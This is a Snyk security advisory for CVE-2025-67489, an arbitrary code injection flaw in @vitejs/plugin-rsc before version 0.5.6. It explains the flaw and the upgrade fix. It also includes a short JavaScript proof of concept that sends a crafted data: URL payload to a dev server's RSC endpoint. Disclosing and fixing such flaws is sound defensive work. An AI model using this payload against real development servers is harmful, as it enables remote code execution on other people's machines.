Arbitrary Code Injection Affecting @vitejs/plugin-rsc package, versions <0.5.6


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-VITEJSPLUGINRSC-14236608
  • published9 Dec 2025
  • disclosed8 Dec 2025
  • creditUnknown

Introduced: 8 Dec 2025

NewCVE-2025-67489  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade @vitejs/plugin-rsc to version 0.5.6 or higher.

Overview

@vitejs/plugin-rsc is a React Server Components (RSC) support for Vite.

Affected versions of this package are vulnerable to Arbitrary Code Injection via unsafe dynamic imports in the loadServerAction, decodeReply, and decodeAction server APIs. An attacker can execute arbitrary JavaScript code with Node.js privileges by sending crafted HTTP requests to the development server endpoints.

Exposed development servers, such as those running with the vite --host option, are vulnerable.

PoC

const payload = {
  0: ["$F1"],
  1: { id: "data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# " },
};
const fd = new FormData();
for (const key in payload) {
  fd.append(key, JSON.stringify(payload[key]));
}

const serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';
const response = fetch(serverUrl, {
  method: "POST",
  headers: {
    "x-rsc-action": "data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# ",
  },
  body: fd,
})

References

CVSS Base Scores

version 4.0
version 3.1